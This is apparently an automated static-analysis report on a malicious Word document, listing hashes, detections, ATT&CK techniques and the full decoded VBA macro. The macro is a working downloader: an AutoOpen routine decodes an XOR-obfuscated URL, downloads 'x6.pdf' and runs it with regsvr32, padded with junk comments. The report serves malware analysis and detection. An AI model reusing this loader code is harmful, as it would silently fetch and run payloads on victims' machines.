Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5d6306e4dce4e12a…

MALICIOUS

Office (OOXML)

116.2 KB Created: 2020-07-24 08:51:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: ed102a3e72bb0f26b179dc1b0689d418 SHA-1: c85c37e32243319ce907ceebcff5f6e4d4aa4c3f SHA-256: 5d6306e4dce4e12af7a389b86d7c26aef1bbec87293392e3f17f0c9fc129f63b
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro utilizes the URLDownloadToFile function to download a file named 'x6.pdf' and then executes it using a shell command. This indicates a downloader or droppper functionality, aiming to fetch and run a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Tw As LongPtr, ByVal uA As String, ByVal oT As String, ByVal Zf As LongPtr, ByVal My As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    f = fI(n)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4168 bytes
SHA-256: 9a603aaa9b12afc0c6b92a6c1f1e4b626c56724c9b8f590474306da5a26194af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uW"
Public Const wx As String = "x6.pdf"
Function fI(c)
Tj = d(c)
For BB = 0 To UBound(Tj)
 m = m & Chr(Tj(BB) Xor 111)
Next BB
fI = m
End Function
Sub autoopen()
f = fI(n)

' Spherical initially morphine leniency
' Big gov. erosion democracy
' Tony mattress thinks ontario buyers
' Prescience
' Phoenix utc joining lawrence
frm.download f, wx

' Diction pencil halo dat contralto
' Prehistoric theology losses
' Blockade
' Magnitude girlfriend required

' Habitable situation markings civic
' Membership origin councillor futures brilliant
' Msie
' Ditto league typewriter components ammonia nigeria

' Housewares availability sm
' Trousseau consideration
' Mutilation ranking

' Ups angeles
' Tropic
' Amalgamated lil yu
' Fighters concave

' Glue allowing anne george partial impact
' Perceptive algebra
' Another antenna baize strangle dc
' Radio reggae inquire denver lake
' Components richie
Dim w As New WshShell

' Biggest
' Cheapside status sufficient image
Call w.run(Q & fY & " " + wx)

' Coal
' Merchant
' Frankfurt husbandman sacrament marvel
' Determination programmes laura well
' Campus
End Sub

Attribute VB_Name = "uW1"
Function y(p)

' Delivered ermine leave
' Psyche defend batman cumbrous
' Hades
' Sexo crumbled
' Unto sonata things clarity
End Function
Sub dA(Z7)

' Developer welch
' Interactions bairn bungalow regulations

' Depends supplier unequivocally overdo gathered
' Snob carving faqs transference sunglasses mandolin
' Recycling period horny dirt
' Colon tahiti trespassing training susanna
' Ointment representatives engaging

' Manitoba maritime lamb kenneth
' Materialism windpipe
' Promises

' Raucous webcam worker
' Sponsor unwieldy wv

' Delight stress strangle lather
' Shopkeeper cross-examination nuclear
' Workings
' Jaffa animation nickel sandal

' Lashing thistle stimulant tack
' Conch glutton badly stallion
' Synthetic pillage waxing britannica foster
' Pastor specialty dealers seattle

' Twinks nondescript
' Optics delegate eighty-seven
' Bad bavarian plumbing

' Originate urge
' Singularity additional thousand
' Previews begun skill ld
' Fem
' Fighting tablet syntax exports saucer
' Opprobrium connexions challenging fifty-five unassuming ravages jim
' Scoop antique citysearch casualty huntington insulin

' Continuous company wit.

' Compete exalts years guys alaska
' Boys animal livecam spongy
' Marble accident edition

' Dogs
' Unlettered univ recorders violent latitude
' Disability cacique examining hike cheyenne

' Portmanteau espn donor
' Admixture reprints priced elation
' Jets
' Reference flurry cache skeptical
End Sub

Attribute VB_Name = "TS"
Public Const Q As String = "reg"
Public Const fY As String = "svr32"
Public Const n As String = "7_27_27_31_85_64_64_89_92_8_27_23_4_30_25_25_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_87_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Tw As LongPtr, ByVal uA As String, ByVal oT As String, ByVal Zf As LongPtr, ByVal My As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Tw As Long, ByVal uA As String, ByVal oT As String, ByVal Zf As Long, ByVal My As Long) As Long
#End If
Function d(vb)
d = Split(vb, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{E0648C53-A8C4-4517-9CA9-18E83ADE5D5A}{06D22E35-C1A1-499A-8084-30D768DBEE01}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: 95386cc6b91e18333aa8d0fe0d47fd7e4b78b46a5411e8523921026d89dbd87e